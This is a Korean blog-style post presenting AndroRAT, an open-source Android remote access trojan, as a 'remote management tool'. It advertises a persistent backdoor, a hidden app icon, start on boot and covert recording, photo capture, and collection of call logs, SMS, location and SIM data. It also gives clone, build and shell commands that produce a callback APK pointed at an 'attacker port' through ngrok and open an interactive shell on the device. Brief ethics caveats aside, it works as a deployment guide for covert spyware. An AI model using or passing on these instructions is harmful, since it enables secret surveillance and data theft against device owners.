GitHub 오픈소스 탐험

최근 원격 관리 도구의 필요성이 증가하면서, 다양한 오픈소스 프로젝트들이 주목받고 있습니다. 그 중에서도 AndroRAT는 안드로이드 기기를 원격으로 제어하고 정보를 수집할 수 있는 독특한 도구로, 개발자들의 관심을 끌고 있습니다. 이 도구는 Java로 클라이언트를, Python으로 서버를 구현하여 서로 소켓을 통해 통신합니다. 이 글에서는 AndroRAT의 주요 기능, 설치 방법, 그리고 간단한 사용법을 소개하겠습니다.

AndroRAT의 주요 기능과 특징

AndroRAT는 기본적인 원격 관리 기능을 제공하면서도, 다음과 같은 여러 유용한 기능을 갖추고 있습니다.

완전한 지속성 백도어: 사용자가 앱을 종료해도 백그라운드에서 계속 실행됩니다.
눈에 띄지 않는 설치 아이콘: 사용자가 앱 설치 후 아이콘을 쉽게 찾지 못하도록 설계되어 있습니다.
가벼운 APK 파일: 24시간 백그라운드에서 작동하며, 시스템 자원을 거의 사용하지 않습니다.
부팅 시 자동 시작: 기기가 부팅될 때 자동으로 실행됩니다.
다양한 데이터 수집 기능: 오디오 및 비디오 녹음, 사진 촬영, 통화 및 SMS 로그 조회, 현재 위치 및 SIM 카드 정보 수집 등이 가능합니다.

이러한 기능들은 교육적인 목적에 맞춰 설계되었지만, 사용자는 항상 윤리적인 사용을 고려해야 합니다.

설치하기

AndroRAT를 사용하기 위해서는 Python3와 Java (또는 Android Studio)가 필요합니다. 다음 명령어를 통해 간단히 설치할 수 있습니다.

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Windows에서의 주의 사항

Windows에서 Git Bash를 이용해 클론할 경우, "이름이 너무 깁니다"라는 오류가 발생할 수 있습니다. 이는 Git의 파일 이름 길이 제한 때문입니다. 다음 명령어로 해결할 수 있습니다.

git config --system core.longpaths true

이 명령어는 관리자 권한으로 실행해야 합니다.

기본 사용법

AndroRAT의 사용법은 간단합니다. 앱의 제어 패널을 열기 위해 ##1337##를 다이얼하면, 현재는 두 가지 옵션인 '활동 재시작'과 '제거'를 이용할 수 있습니다. 이 기능을 사용하기 위해서는 일부 기기에서 '백그라운드에서 실행 중인 팝업 창 표시' 옵션을 활성화해야 할 수도 있습니다.

사용할 수 있는 모드

빌드 모드 (--build): 안드로이드 APK 파일을 빌드합니다.
성격 모드 (--ngrok): 인터넷을 통한 ngrok 터널을 사용합니다.
쉘 모드 (--shell): 장치의 대화형 쉘을 가져옵니다.

빌드 모드 사용 예시

python3 androRAT.py --build --ngrok -p 8000 -o myapp.apk

-p: 공격자 포트 번호 (기본값 8000)
-o: 생성할 APK 파일 이름 (기본값 "karma.apk")

APK 파일을 Android Studio에 수동으로 가져와서 config.java 파일의 IP 주소 및 포트 번호를 변경한 후, Android Studio -> Build -> Generate Signed APK(s)를 통해 서명된 APK를 생성할 수도 있습니다.

쉘 모드 사용 예시

python3 androRAT.py --shell -i YOUR_LISTENER_IP -p YOUR_LISTENER_PORT

이 명령어를 통해 대화형 쉘을 사용할 수 있으며, 이를 통해 장치에 대한 다양한 명령을 실행할 수 있습니다.

실무에서의 활용 시나리오

AndroRAT는 교육적 목적에 부합하는 도구입니다. 예를 들어, 보안 교육을 하는 과정에서, 학생들이 원격 관리 도구의 작동 방식을 이해하고, 실제로 이러한 도구가 어떻게 악용될 수 있는지에 대한 경각심을 갖게 하는 데 유용할 수 있습니다.

그러나, 사용자는 해당 도구를 윤리적으로 활용해야 하며, 법적 문제를 피하기 위해 항상 합법적인 범위 내에서 사용해야 합니다.

비슷한 도구와의 비교

AndroRAT와 비슷한 도구로는 Metasploit와 Cobalt Strike가 있습니다. 이들 도구는 주로 보안 테스트 및 취약점 분석에 사용되며, AndroRAT는 안드로이드 기기에 특화된 원격 관리 기능을 제공합니다. 또한, AndroRAT는 사용자가 직접 APK를 빌드하고 배포하는 방식으로 운영되므로, 보안 연구자들에게 더욱 교육적인 도구로 활용될 수 있습니다.

요즘 뜨는 안드로이드 원격 관리 도구, AndroRAT을 들여다보니